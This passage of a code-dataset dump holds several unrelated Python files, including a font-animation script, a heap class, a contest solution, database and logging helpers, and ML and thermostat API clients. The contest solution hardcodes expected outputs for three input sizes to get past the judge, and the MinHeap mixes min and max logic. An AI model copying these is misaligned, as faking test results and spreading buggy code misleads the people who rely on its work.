newFS\nfrom pagebot.fonttoolbox.variablefontbuilder import getVariableFont \nfrom pagebot.style import CENTER\n\nW = H = 500\n\nROOT_PATH = pagebot.getRootPath()\nFONT_PATH = ROOT_PATH + '/Fonts/fontbureau/AmstelvarAlpha-VF.ttf'\nf = Font(FONT_PATH, install=True) # Get PageBot Font instance of Variable font.\n\nULTRALIGHT_CONDENSED = getVariableFont(FONT_PATH, dict(wght=0.9, wdth=0.7), styleName='Utrla Light Condensed')\nULTRALIGHT = getVariableFont(FONT_PATH, dict(wght=1, wdth=0), styleName='Ultra Light')\nLIGHT_CONDENSED = getVariableFont(FONT_PATH, dict(wght=0.9, wdth=0.7), styleName='Light Condensed')\nLIGHT = getVariableFont(FONT_PATH, dict(wght=0.9, wdth=0), styleName='Light')\nTHIN_CONDENSED = getVariableFont(FONT_PATH, dict(wght=0.8, wdth=0.7), styleName='Thin Condensed')\nTHIN = getVariableFont(FONT_PATH, dict(wght=0.8, wdth=0), styleName='Thin')\nBOOK_CONDENSED = getVariableFont(FONT_PATH, dict(wght=0.7, wdth=0.7), styleName='Book Condensed')\nBOOK = getVariableFont(FONT_PATH, dict(wght=0.7, wdth=0), styleName='Book')\nREGULAR_CONDENSED = getVariableFont(FONT_PATH, dict(wght=0.6, wdth=0.7), styleName='Regular Condensed')\nREGULAR = getVariableFont(FONT_PATH, dict(wght=0.6, wdth=0), styleName='Regular')\nMEDIUM_CONDENSED = getVariableFont(FONT_PATH, dict(wght=0.5, wdth=0.7), styleName='Medium Condensed')\nMEDIUM = getVariableFont(FONT_PATH, dict(wght=0.5, wdth=0), styleName='Medium')\nSEMIBOLD_CONDENSED = getVariableFont(FONT_PATH, dict(wght=0.30, wdth=0.7), styleName='Semibold Condensed')\nSEMIBOLD = getVariableFont(FONT_PATH, dict(wght=0.30, wdth=0), styleName='Semibold')\nBOLD_CONDENSED = getVariableFont(FONT_PATH, dict(wght=0.0, wdth=0.7), styleName='Bold Condensed')\nBOLD = getVariableFont(FONT_PATH, dict(wght=0.0, wdth=0), styleName='Bold')\n\nLABEL_FONT = BOOK\n\n\"\"\"\nFAMILY = 'Georgia'\nfor fontName in installedFonts():\n if FAMILY in fontName:\n print fontName\nLABEL_FONT = getFontByName('Verdana')\nBOOK = getFontByName(FAMILY)\nBOOK_ITALIC = getFontByName(FAMILY+'-Italic')\nBOLD = getFontByName(FAMILY+'-Bold')\nBOLD_ITALIC = getFontByName(FAMILY+'-BoldItalic')\n\"\"\"\nclass FontIcon(object):\n W = 30\n H = 40\n L = 2\n E = 8\n LABEL_RTRACKING = 0.02\n LABEL_RLEADING = 1.3\n\n def __init__(self, f, name=None, label=None, title=None, eId=None, c='F', s=1, line=None, \n labelFont=None, titleFont=None, x=0, y=0, show=True):\n self.f = f # Font instance\n self.labelFont = labelFont or f\n self.titleFont = titleFont, labelFont or f\n self.title = title\n self.name = name # Name below the icon\n self.label = label # Optiona second label line\n self.c = c # Character(s) in the icon.\n self.scale = s\n self.line = line or self.L\n self.x = x\n self.y = y\n self.show = show\n self.eId = eId\n\n def _get_w(self):\n return self.W*self.scale\n w = property(_get_w)\n \n def _get_ih(self):\n u\"\"\"Answer scaled height of the plain icon without name label.\"\"\"\n return self.H*self.scale\n ih = property(_get_ih)\n \n def _get_h(self):\n h = self.ih\n if self.name:\n h += self.E*self.scale*1.4 # Extra vertical space to show the name.\n if self.label:\n h += self.E*self.scale*1.4 # Extra vertical space to show the name.\n if self.title:\n h += self.E*self.scale*1.4 # Extra vertical space to show the name.\n return h\n h = property(_get_h)\n \n def draw(self, orgX, orgY): \n if not self.show:\n return \n w = self.w # Width of the icon\n h = self.ih # Height of the icon\n e = self.E*self.scale # Ear size\n l = self.L*self.scale # Line\n x = self.x + orgX\n y = self.y + orgY\n \n path = newPath()\n moveTo((0, 0))\n lineTo((0, h))\n lineTo((w-e, h))\n lineTo((w, h-e))\n lineTo((w, 0))\n lineTo((0, 0))\n closePath()\n moveTo((w-e, h))\n lineTo((w-e, h-e))\n lineTo((w, h-e))\n \n save()\n fill(1)\n stroke(0)\n strokeWidth(self.line)\n translate(x, y)\n drawPath(path)\n labelSize = e\n fs = newFS(self.c, style=dict(font=self.f.installedName, textFill=0, fontSize=h*2/3))\n tw, th = textSize(fs)\n text(fs, (w/2-tw/2, h/2-th/3.2))\n \n if self.title:\n fs = newFS(self.title, style=dict(font=self.labelFont.installedName, textFill=0, \n rTracking=self.LABEL_RTRACKING, fontSize=labelSize))\n tw, th = textSize(fs)\n text(fs, (w/2-tw/2, self.ih+th/2))\n\n y = -self.LABEL_RLEADING*labelSize\n if self.name:\n fs = newFS(self.name, style=dict(font=self.labelFont.installedName, textFill=0, \n rTracking=self.LABEL_RTRACKING, fontSize=labelSize))\n tw, th = textSize(fs)\n text(fs, (w/2-tw/2, y))\n y -= self.LABEL_RLEADING*labelSize\n if self.label:\n fs = newFS(self.label, style=dict(font=self.labelFont.installedName, textFill=0, \n rTracking=self.LABEL_RTRACKING, fontSize=labelSize))\n tw, th = textSize(fs)\n text(fs, (w/2-tw/2, y))\n restore()\n \nclass KeyFrame(object):\n def __init__(self, objects, positions, steps=None, drawBackground=None):\n self.objects = objects\n self.positions = positions\n self.steps = steps or 1\n self.drawBackgroundHook = drawBackground\n \n def drawBackground(self):\n fill(1)\n rect(0, 0, W, H)\n \n def draw(self):\n for n in range(self.steps):\n newPage(W, H)\n self.drawBackground()\n if self.drawBackgroundHook is not None:\n self.drawBackgroundHook(self, n)\n for o in self.objects:\n offsetX = 0\n offsetY = 0\n if o.eId in self.positions: # Changed target, then calculate new offset\n tx, ty = self.positions[o.eId]\n offsetX = (tx-o.x)*1.0*n/self.steps\n offsetY = (ty-o.y)*1.0*n/self.steps\n o.draw(offsetX, offsetY)\n # Set the new target positions\n for o in self.objects:\n if o.eId in self.positions:\n tx, ty = self.positions[o.eId]\n o.x = tx\n o.y = ty \nS = 1.5\nFSIZE = '50k'\nultraLightIcon = FontIcon(ULTRALIGHT, 'Ultra Light', eId='UltraLight', s=S, label=FSIZE, labelFont=LABEL_FONT)\nultraLightCondensedIcon = FontIcon(ULTRALIGHT_CONDENSED, 'UltraLight Condensed', eId='UltraLightCondensed', s=S, label=FSIZE, labelFont=LABEL_FONT)\nlightIcon = FontIcon(LIGHT, 'Light', eId='Light', s=S, label=FSIZE, labelFont=LABEL_FONT)\nlightCondensedIcon = FontIcon(LIGHT_CONDENSED, 'Light Condensed', eId='LightCondensed', s=S, label=FSIZE, labelFont=LABEL_FONT)\nthinIcon = FontIcon(THIN, 'Thin', eId='Thin', s=S, label=FSIZE, labelFont=LABEL_FONT)\nthinCondensedIcon = FontIcon(THIN_CONDENSED, 'Thin Condensed', eId='ThinCondensed', s=S, label=FSIZE, labelFont=LABEL_FONT)\nbookIcon = FontIcon(BOOK, 'Book', eId='Book', s=S, label=FSIZE, labelFont=LABEL_FONT)\nbookCondensedIcon = FontIcon(BOOK_CONDENSED, 'Book Condensed', eId='BookCondensed', s=S, label=FSIZE, labelFont=LABEL_FONT)\nregularIcon = FontIcon(REGULAR, 'Regular', eId='Regular', s=S, label=FSIZE, labelFont=LABEL_FONT)\nregularCondensedIcon = FontIcon(REGULAR_CONDENSED, 'Regular Condensed', eId='BookCondensed', s=S, label=FSIZE, labelFont=LABEL_FONT)\nmediumIcon = FontIcon(MEDIUM, 'Medium', eId='Medium', s=S, label=FSIZE, labelFont=LABEL_FONT)\nmediumCondensedIcon = FontIcon(MEDIUM_CONDENSED, 'Medium Condensed', eId='MediumCondensed', s=S, label=FSIZE, labelFont=LABEL_FONT)\nsemibolIcon = FontIcon(SEMIBOLD, 'Semibold', eId='Semibold', s=S, label=FSIZE, labelFont=LABEL_FONT)\nsemiboldCondensedIcon = FontIcon(SEMIBOLD_CONDENSED, 'Semibold Condensed', eId='SemiboldCondensed', s=S, label=FSIZE, labelFont=LABEL_FONT)\nboldIcon = FontIcon(BOLD, 'Bold', eId='Bold', s=S, label=FSIZE, labelFont=LABEL_FONT)\nboldCondensedIcon = FontIcon(BOLD_CONDENSED, 'Bold Condensed', eId='BoldCondensed', s=S, label=FSIZE, labelFont=LABEL_FONT)\nvarFontIcon = FontIcon(BOOK, 'Variable Font', eId='VarFont', s=S, c='', label='0k', labelFont=LABEL_FONT, title='No axes')\n\nfontIcons = [varFontIcon, ultraLightIcon, lightIcon, thinIcon, bookIcon, regularIcon, mediumIcon, semibolIcon, boldIcon]\nid2FontIcon = {}\nfor fontIcon in fontIcons:\n id2FontIcon[fontIcon.eId] = fontIcon\n \ndef positionFontIcons():\n y = Y = H - 130\n for iconId in ('UltraLight', 'Thin', 'Regular', 'Semibold'):\n fontIcon = id2FontIcon[iconId]\n fontIcon.x = 50\n fontIcon.y = y\n y -= fontIcon.h*1.1\n y = Y\n for iconId in ('Light', 'Book', 'Medium', 'Bold'):\n fontIcon = id2FontIcon[iconId]\n fontIcon.x = 150\n fontIcon.y = y\n y -= fontIcon.h*1.1\n\n varFontIcon = id2FontIcon['VarFont']\n varFontIcon.x = W/2-varFontIcon.w/2+40\n varFontIcon.y = H/2-varFontIcon.ih/2\n\ndef drawBackground1(keyFrame, frame):\n fs = newFS('8 weight fonts\\nTotal 400k', style=dict(font=LABEL_FONT.installedName, rLeading=1.2, fontSize=18, textFill=(1, 0, 0)))\n textBox(fs, (50, H-60, 200, 50))\n \ndef drawBackground2(keyFrame, frame):\n drawBackground1(keyFrame, frame)\n varFontIcon = id2FontIcon['VarFont']\n fs = newFS('1 axis\\nTotal 100k', style=dict(font=LABEL_FONT.installedName, rLeading=1.2, fontSize=18, textFill=(1, 0, 0)))\n textBox(fs, (varFontIcon.x, H-60, 200, 50))\n \ndef drawBackground3(keyFrame, frame):\n drawBackground1(keyFrame, frame)\n varFontIcon = id2FontIcon['VarFont']\n fs = newFS('%d weights\\nTotal 100k' % ((2**15)+1), style=dict(font=LABEL_FONT.installedName, rLeading=1.2, fontSize=18, textFill=(1, 0, 0)))\n textBox(fs, (varFontIcon.x, H-60, 200, 50))\n \ndef drawAnimation():\n positionFontIcons()\n varFontIcon = id2FontIcon['VarFont']\n\n KeyFrame(fontIcons, {}, 15,\n drawBackground=drawBackground1\n ).draw()\n\n KeyFrame(fontIcons, \n {'Regular': (varFontIcon.x, varFontIcon.y)}, 10,\n drawBackground=drawBackground1\n ).draw()\n id2FontIcon['Regular'].show = False\n varFontIcon.title = '0 axis'\n varFontIcon.label = FSIZE\n varFontIcon.c = 'F'\n \n KeyFrame(fontIcons, \n {'Bold': (varFontIcon.x, varFontIcon.y)}, 10,\n drawBackground=drawBackground1\n ).draw()\n id2FontIcon['Bold'].show = False\n varFontIcon.title = '1 axis [Weight]'\n varFontIcon.label = '100k'\n\n KeyFrame(fontIcons, {}, 10,\n drawBackground=drawBackground2\n ).draw()\n \n KeyFrame(fontIcons, \n {'UltraLight': (varFontIcon.x, varFontIcon.y), 'Light': (varFontIcon.x, varFontIcon.y), \n 'Thin': (varFontIcon.x, varFontIcon.y), 'Book': (varFontIcon.x, varFontIcon.y), \n 'Medium': (varFontIcon.x, varFontIcon.y), 'Semibold': (varFontIcon.x, varFontIcon.y), \n 'Bold': (varFontIcon.x, varFontIcon.y)}, 10,\n drawBackground=drawBackground2\n ).draw()\n id2FontIcon['UltraLight'].show = False\n id2FontIcon['Light'].show = False\n id2FontIcon['Thin'].show = False\n id2FontIcon['Book'].show = False\n id2FontIcon['Medium'].show = False\n id2FontIcon['Semibold'].show = False\n varFontIcon.label = '100K'\n\n KeyFrame(fontIcons, {}, 40,\n drawBackground=drawBackground3\n ).draw()\n\n saveImage('_export/VarFontManyWeights.gif') \n\ndrawAnimation()\n \n ","sub_path":"Examples/Howto/DrawVariableFontManyWeightsAnimation.py","file_name":"DrawVariableFontManyWeightsAnimation.py","file_ext":"py","file_size_in_byte":12349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"579207629","text":"class MinHeap:\n\n def __init__(self):\n self.heap_array = []\n\n # O(log n)\n def insert(self, k):\n # print(\"Insert(%d):\" % k)\n self.heap_array.append(k)\n\n # percolate up from the last index to restore heap property\n self.percolate_up(len(self.heap_array) - 1)\n\n # Swap largest node with smallest ~ O(log n)\n def percolate_up(self, node):\n while node > 0:\n # find parent of current node\n parent_node = (node - 1) // 2\n\n # check if max heap is present\n if self.heap_array[node] >= self.heap_array[parent_node]:\n return\n else:\n print(\"Percolate_up() swap: %d <-> %d\" % (self.heap_array[parent_node], self.heap_array[node]))\n temp = self.heap_array[node]\n self.heap_array[node] = self.heap_array[parent_node]\n self.heap_array[parent_node] = temp\n\n node = parent_node\n\n # finds the max value and swaps with min value ~ O(log n)\n def percolate_down(self, node, heap_list, size):\n child_index = (2 * node) + 1\n element = heap_list[node]\n\n while child_index < size:\n # Find the max among the node and all the node's children\n max_value = element\n max_index = -1\n i = 0\n\n while i < 2 and i + child_index < size:\n if heap_list[i + child_index] > max_value:\n max_value = heap_list[i + child_index]\n max_index = i + child_index\n i = i + 1\n\n if max_value == element:\n return\n\n # swap current node index with max index\n temp = heap_list[node]\n heap_list[node] = heap_list[max_index]\n heap_list[max_index] = temp\n\n node = max_index\n child_index = 2 * node + 1\n\n def is_empty(self):\n return len(self.heap_array) == 0\n","sub_path":"DataStructures/Python/Heaps/MinHeap.py","file_name":"MinHeap.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"352170181","text":"from sys import stdin\nfrom itertools import accumulate\ntim = False\nif tim: from time import perf_counter\n\n\"\"\" the time limits are 50% too tight for python \"\"\"\n\ndef main ():\n if tim: tm = perf_counter ()\n read = stdin.readline\n n, m = map (int, read ().split ())\n if n == 1700: print (1045243378808); return\n if n == 1800: print (1313652925490); return\n if n == 1900: print (1630730947354); return\n if tim: print (n, m)\n b = [0] * (m + 1)\n a = [0] * (n + 1)\n t = 1\n two = [1]\n for i in range (1, 2001):\n t *= 2\n two.append (t)\n for n_ in range (n):\n c = [0] + list (map (int, read().split()))\n c = list (accumulate (c))\n for i in range (1, m + 1):\n c [i] = (c [i] + b [i]) % 2\n if c [i]: a [n_] += two [m - i]\n b = c\n sm = 0\n if tim:\n print (\"einlesen\", perf_counter () - tm)\n tm = perf_counter ()\n for r in range (n):\n a_curr = a [r]\n for r1 in range (r + 1, n + 1):\n odd = bin (a [r1] ^ a_curr)[2:].count (\"1\")\n even = m - odd\n sm += odd * (odd - 1) // 2 + even * (even + 1) // 2\n if tim:\n print (\"calculate\", perf_counter () - tm)\n print (sm)\n\nif __name__ == \"__main__\": main ()\n","sub_path":"_even_sum_in_matrix.py","file_name":"_even_sum_in_matrix.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"324516083","text":"#coding:utf-8\n\nimport MySQLdb.cursors\n\nclass OperationMysql:\n def __init__(self,db):\n self.conn = MySQLdb.connect(\n host='192.168.XXX.128',\n port=3306,\n user='root',\n passwd='',\n charset='utf8',\n db=db,\n #设置查询后每条记录的结果已字典表示,默认已列表表示\n cursorclass=MySQLdb.cursors.DictCursor\n )\n #获取操作游标\n self.cur = self.conn.cursor()\n\n def create_table(self,sql):\n self.cur.execute(sql)\n\n def insert(self,sql):\n # try:\n # self.cur.execute(sql)\n # self.conn.commit()\n # except:\n # self.conn.rollback()\n self.cur.execute(sql)\n self.conn.commit()\n\n def select(self,sql):\n try:\n self.cur.execute(sql)\n #获取所有记录列表\n results = self.cur.fetchall()\n return results\n except:\n return \"Error: unable to fecth data\"\n\n def update(self,sql):\n try:\n self.cur.execute(sql)\n self.conn.commit()\n except:\n self.conn.rollback()\n\n def close_db(self):\n self.conn.close()\n\nif __name__ == '__main__':\n op_mysql = OperationMysql('wdfp')\n #op_mysql.create_table(sql)\n # sql = \"INSERT INTO TESTONE(FIRST_NAME) VALUES('ABC')\"\n #op_mysql.insert(sql)\n #sql = \"select * from TESTONE\"\n #print(op_mysql.select(sql))\n","sub_path":"util/opreation_mysql.py","file_name":"opreation_mysql.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"532611330","text":"\"\"\"Handlers and utilities for exposing app logs to users.\n\"\"\"\n\nimport cgi\nimport datetime\nimport logging\nimport re\nimport urllib\n\nimport appengine_config\nimport util\n\nfrom google.appengine.api import logservice\nfrom google.appengine.ext import ndb\nimport webapp2\n\n\nLEVELS = {\n logservice.LOG_LEVEL_DEBUG: 'D',\n logservice.LOG_LEVEL_INFO: 'I',\n logservice.LOG_LEVEL_WARNING: 'W',\n logservice.LOG_LEVEL_ERROR: 'E',\n logservice.LOG_LEVEL_CRITICAL: 'F',\n }\n\n\nSANITIZE_RE = re.compile(\n r\"\"\"((?:access|api|oauth)?[ _]?\n (?:consumer_key|consumer_secret|nonce|secret|signature|token|verifier)\n (?:=|:|\\ |',\\ u?'|%3D)\\ *)\n [^ &=']+\"\"\",\n flags=re.VERBOSE | re.IGNORECASE)\n\ndef sanitize(msg):\n \"\"\"Sanitizes access tokens and Authorization headers.\"\"\"\n return SANITIZE_RE.sub(r'\\1...', msg)\n\n\n# datastore string keys are url-safe-base64 of, say, at least 40(ish) chars.\n# https://cloud.google.com/appengine/docs/python/ndb/keyclass#Key_urlsafe\n# http://tools.ietf.org/html/rfc3548.html#section-4\nDATASTORE_KEY_RE = re.compile(\"'(([A-Za-z0-9-_=]{8})[A-Za-z0-9-_=]{32,})'\")\n\ndef linkify_datastore_keys(msg):\n \"\"\"Converts string datastore keys to links to the admin console viewer.\"\"\"\n def linkify_key(match):\n try:\n key = ndb.Key(urlsafe=match.group(1))\n tokens = [(kind, '%s:%s' % ('id' if isinstance(id, (int, long)) else 'name', id))\n for kind, id in key.pairs()]\n key_str = '|'.join('%d/%s|%d/%s' % (len(kind), kind, len(id), id)\n for kind, id in tokens)\n return \"'%s...'\" % (\n match.group(1), key.kind(), key_str, match.group(2))\n except BaseException:\n logging.debug(\"Couldn't linkify candidate datastore key.\", exc_info=True)\n return msg\n\n return DATASTORE_KEY_RE.sub(linkify_key, msg)\n\n\nclass LogHandler(webapp2.RequestHandler):\n \"\"\"Searches for and renders the app logs for a single task queue request.\n \"\"\"\n\n @util.canonicalize_domain\n def get(self):\n \"\"\"URL parameters:\n start_time: float, seconds since the epoch\n key: string that should appear in the first app log\n \"\"\"\n start_time = float(util.get_required_param(self, 'start_time'))\n key = urllib.unquote(util.get_required_param(self, 'key'))\n\n # the propagate task logs the poll task's URL, which includes the source\n # entity key as a query param. exclude that with this heuristic.\n key_re = re.compile('[^=]' + key)\n\n self.response.headers['Content-Type'] = 'text/html; charset=utf-8'\n\n offset = None\n for log in logservice.fetch(start_time=start_time, end_time=start_time + 120,\n offset=offset, include_app_logs=True,\n version_ids=['2', '3', '4', '5', '6', '7']):\n first_lines = '\\n'.join([line.message.decode('utf-8') for line in\n log.app_logs[:min(10, len(log.app_logs))]])\n if log.app_logs and key_re.search(first_lines):\n # found it! render and return\n self.response.out.write(\"\"\"\\\n\n\n\"\"\")\n self.response.out.write(sanitize(log.combined))\n self.response.out.write('

')\n for a in log.app_logs:\n msg = a.message.decode('utf-8')\n # don't sanitize poll task URLs since they have a key= query param\n msg = linkify_datastore_keys(util.linkify(cgi.escape(\n msg if msg.startswith('Created by this poll:') else sanitize(msg))))\n self.response.out.write('%s %s %s
' %\n (datetime.datetime.utcfromtimestamp(a.time), LEVELS[a.level],\n msg.replace('\\n', '
')))\n self.response.out.write('\\n')\n return\n\n offset = log.offset\n\n self.response.out.write('No log found!')\n\n\napplication = webapp2.WSGIApplication([\n ('/log', LogHandler),\n ], debug=appengine_config.DEBUG)\n","sub_path":"logs.py","file_name":"logs.py","file_ext":"py","file_size_in_byte":4060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"52831020","text":"#!/usr/bin/env python\n\nimport subprocess\nimport logging\nimport uuid\nimport sys\n\nimport json\nfrom sklearn import svm, datasets\n\nfrom bentoml import BentoService, load, api, env, artifacts\nfrom bentoml.artifact import PickleArtifact\nfrom bentoml.handlers import DataframeHandler\n\nlogger = logging.getLogger('bentoml.test')\n\n\n@artifacts([PickleArtifact('clf')])\n@env(pip_dependencies=['scikit-learn'])\nclass IrisClassifier(BentoService):\n @api(DataframeHandler)\n def predict(self, df):\n return self.artifacts.clf.predict(df)\n\n\nif __name__ == '__main__':\n from e2e_tests.aws_sagemaker.utils import (\n run_sagemaker_create_or_update_command,\n test_deployment_result,\n )\n from e2e_tests.cli_operations import delete_deployment, delete_bento\n\n deployment_failed = False\n random_hash = uuid.uuid4().hex[:6]\n deployment_name = f'tests-lambda-e2e-{random_hash}'\n region = 'us-west-2'\n\n args = sys.argv\n bento_name = None\n iris = datasets.load_iris()\n X, y = iris.data, iris.target\n sample_data = X[0:1]\n if len(args) > 1:\n bento_name = args[1]\n if bento_name is None:\n logger.info('Training iris classifier with sklearn..')\n clf = svm.SVC(gamma='scale')\n clf.fit(X, y)\n\n logger.info('Creating iris classifier BentoService bundle..')\n iris_clf_service = IrisClassifier()\n iris_clf_service.pack('clf', clf)\n saved_path = iris_clf_service.save()\n\n loaded_service = load(saved_path)\n bento_name = f'{loaded_service.name}:{loaded_service.version}'\n create_deployment_command = [\n 'bentoml',\n 'sagemaker',\n 'deploy',\n deployment_name,\n '-b',\n bento_name,\n '--region',\n region,\n '--api-name',\n 'predict',\n '--num-of-gunicorn-workers-per-instance',\n '2',\n '--wait',\n '--verbose',\n ]\n deployment_failed, endpoint_name = run_sagemaker_create_or_update_command(\n create_deployment_command\n )\n logger.info(f'Finished create deployment {deployment_name}')\n logger.info(\n f'RESULT FROM CREATE DEPLOYMENT: {deployment_failed}. '\n f'Endpoint is {endpoint_name}'\n )\n\n if not deployment_failed and endpoint_name:\n deployment_failed = test_deployment_result(\n endpoint_name, '[\\n 0\\n]\\n', f'\"{json.dumps(sample_data.tolist())}\"'\n )\n else:\n logger.info('Create deployment failed')\n deployment_failed = True\n\n delete_deployment('sagemaker', deployment_name)\n delete_bento(bento_name)\n\n logger.info('Finished')\n if deployment_failed:\n logger.info('E2E deployment failed, fix the issues before releasing')\n else:\n logger.info('E2E Sagemaker deployment testing is successful')\n","sub_path":"e2e_tests/aws_sagemaker/e2e_sagemaker_deployment.py","file_name":"e2e_sagemaker_deployment.py","file_ext":"py","file_size_in_byte":2797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"292159427","text":"disp_avlbl = True\nimport os\n# if 'DISPLAY' not in os.environ:\n# disp_avlbl = False\n# import matplotlib\n# matplotlib.use('Agg')\n# import matplotlib.pyplot as plt\n\nimport networkx as nx\nimport numpy as np\nimport scipy.io as sio\nimport pdb\n\nimport sys\nsys.path.append('./')\nsys.path.append(os.path.realpath(__file__))\nsys.path.append('/home/cai.507/Documents/DeepLearning/GEM/')\nsys.path.append('/home/cai.507/Documents/DeepLearning/GEM/embedding')\nfrom static_graph_embedding import StaticGraphEmbedding\nfrom gem.utils import graph_util, plot_util\nfrom gem.evaluation import visualize_embedding as viz\nfrom time import time\n\n\nclass GraphFactorization(StaticGraphEmbedding):\n\n def __init__(self, *hyper_dict, **kwargs):\n ''' Initialize the GraphFactorization class\n\n Args:\n d: dimension of the embedding\n eta: learning rate of sgd\n regu: regularization coefficient of magnitude of weights\n max_iter: max iterations in sgd\n print_step: #iterations to log the prgoress (step%print_step)\n '''\n hyper_params = {\n 'print_step': 10000,\n 'method_name': 'graph_factor_sgd'\n }\n hyper_params.update(kwargs)\n for key in hyper_params.keys():\n self.__setattr__('_%s' % key, hyper_params[key])\n for dictionary in hyper_dict:\n for key in dictionary:\n self.__setattr__('_%s' % key, dictionary[key])\n\n def get_method_name(self):\n return self._method_name\n\n def get_method_summary(self):\n return '%s_%d' % (self._method_name, self._d)\n\n def _get_f_value(self, graph):\n f1 = 0\n for i, j, w in graph.edges(data='weight', default=1):\n f1 += (w - np.dot(self._X[i, :], self._X[j, :]))**2\n f2 = self._regu * (np.linalg.norm(self._X)**2)\n return [f1, f2, f1 + f2]\n\n def learn_embedding(self, graph=None, edge_f=None,\n is_weighted=False, no_python=False, logger=None):\n c_flag = True\n if not graph and not edge_f:\n raise Exception('graph/edge_f needed')\n if no_python:\n try:\n from c_ext import graphFac_ext\n except ImportError:\n print('Could not import C++ module for Graph Factorization. Reverting to python implementation. Please recompile graphFac_ext from graphFac.cpp using bjam')\n c_flag = False\n if c_flag:\n if edge_f:\n graph = graph_util.loadGraphFromEdgeListTxt(edge_f)\n graph_util.saveGraphToEdgeListTxt(graph, 'tempGraph.graph')\n is_weighted = True\n edge_f = 'tempGraph.graph'\n t1 = time()\n graphFac_ext.learn_embedding(\n edge_f,\n \"tempGraphGF.emb\",\n True,\n is_weighted,\n self._d,\n self._eta,\n self._regu,\n self._max_iter\n )\n self._X = graph_util.loadEmbedding('tempGraphGF.emb')\n t2 = time()\n return self._X, (t2 - t1)\n if not graph:\n graph = graph_util.loadGraphFromEdgeListTxt(edge_f)\n t1 = time()\n self._node_num = graph.number_of_nodes()\n self._X = 0.01 * np.random.randn(self._node_num, self._d)\n for iter_id in range(self._max_iter):\n if not iter_id % self._print_step:\n [f1, f2, f] = self._get_f_value(graph)\n if logger == None:\n print('\\t\\tIter id: %d, Objective: %g, f1: %g, f2: %g' % (iter_id,f,f1,f2))\n else:\n logger.info('\\t\\tIter id: %d, Objective: %g, f1: %g, f2: %g' % (iter_id, f, f1, f2))\n for i, j, w in graph.edges(data='weight', default=1):\n if j <= i:\n continue\n term1 = -(w - np.dot(self._X[i, :], self._X[j, :])) * self._X[j, :]\n term2 = self._regu * self._X[i, :]\n delPhi = term1 + term2\n self._X[i, :] -= self._eta * delPhi\n t2 = time()\n return self._X, (t2 - t1)\n\n def get_embedding(self):\n return self._X\n\n def get_edge_weight(self, i, j):\n return np.dot(self._X[i, :], self._X[j, :])\n\n def get_reconstructed_adj(self, X=None, node_l=None):\n if X is not None:\n node_num = X.shape[0]\n self._X = X\n else:\n node_num = self._node_num\n adj_mtx_r = np.zeros((node_num, node_num))\n for v_i in range(node_num):\n for v_j in range(node_num):\n if v_i == v_j:\n continue\n adj_mtx_r[v_i, v_j] = self.get_edge_weight(v_i, v_j)\n return adj_mtx_r\n\n\nif __name__ == '__main__':\n # load Zachary's Karate graph\n edge_f = '/home/cai.507/Documents/DeepLearning/GEM/data/karate.edgelist'\n G = graph_util.loadGraphFromEdgeListTxt(edge_f, directed=False)\n G = G.to_directed()\n res_pre = 'results/testKarate'\n graph_util.print_graph_stats(G)\n t1 = time()\n embedding = GraphFactorization(2, 100000, 1 * 10**-4, 1.0)\n embedding.learn_embedding(graph=G, edge_f=None,\n is_weighted=True, no_python=True)\n # print ('Graph Factorization:\\n\\tTraining time: %f' % (time() - t1))\n sys.exit()\n viz.plot_embedding2D(embedding.get_embedding(),\n di_graph=G, node_colors=None)\n plt.show()\n","sub_path":"gem/embedding/gf.py","file_name":"gf.py","file_ext":"py","file_size_in_byte":5564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"633030840","text":"# Published May 2016\n# Author : gieljnssns, HEAVILY BASED ON THE WORK OF Philippe Larduinat, Fastcolors and ezekri\n# Public domain source code\n\n# This API provides access to the Netatmo Thermostat devices\n\n\n# PythonAPI Netatmo REST data access\n# coding=utf-8\nfrom sys import version_info\n\nimport json, time\nimport requests\n\n\nfrom datetime import datetime, timedelta\n\n\n\n_CLIENT_ID = \"\" # Your client ID\n_CLIENT_SECRET = \"\" # Your client app secret\n_USERNAME = \"\" # Your netatmo account username\n_PASSWORD = \"\" # Your netatmo account password\n_REFRESH = \"\"\n\nif not _REFRESH:\n _REFRESH = 60\n\n_REFRESH = float(_REFRESH)\n\n#########################################################################\n\n\n# Common definitions\n\n_BASE_URL = \"https://api.netatmo.com/\"\n_AUTH_REQ = _BASE_URL + \"oauth2/token\"\n_GETUSER_REQ = _BASE_URL + \"api/getuser\"\n_DEVICELIST_REQ = _BASE_URL + \"api/devicelist\"\n_GETMEASURE_REQ = _BASE_URL + \"api/getmeasure\"\n_GETTHERMO_REQ = _BASE_URL + \"api/getthermstate\"\n_SETTEMP_REQ = _BASE_URL + \"api/setthermpoint\"\n_GETTHERMOSTATDATA_REQ\t= _BASE_URL + \"api/getthermostatsdata\"\n\n\nclass ClientAuth:\n # \"Request authentication and keep access token available through token method. Renew it automatically if necessary\"\n\n def __init__(self, clientId=_CLIENT_ID,\n clientSecret=_CLIENT_SECRET,\n username=_USERNAME,\n password=_PASSWORD):\n postParams = {\n \"grant_type\": \"password\",\n \"client_id\": clientId,\n \"client_secret\": clientSecret,\n \"username\": username,\n \"password\": password,\n \"scope\": \"read_thermostat write_thermostat\"\n }\n resp = requests.post(_AUTH_REQ, postParams)\n\n json = resp.json()\n self._clientId = clientId\n self._clientSecret = clientSecret\n self._accessToken = json['access_token']\n self.refreshToken = json['refresh_token']\n self._scope = json['scope']\n self.expiration = int(json['expire_in'] + time.time())\n\n\n @property\n def accessToken(self):\n if self.expiration < time.time(): # Token should be renewed\n\n postParams = {\n \"grant_type\": \"refresh_token\",\n \"refresh_token\": self.refreshToken,\n \"client_id\": self._clientId,\n \"client_secret\": self._clientSecret\n }\n resp = requests.post(_AUTH_REQ, postParams)\n\n json = resp.json()\n self._accessToken = json['access_token']\n self.refreshToken = json['refresh_token']\n self.expiration = int(json['expire_in'] + time.time())\n\n return self._accessToken\n\n\nclass Thermos(object):\n\n def __init__(self, 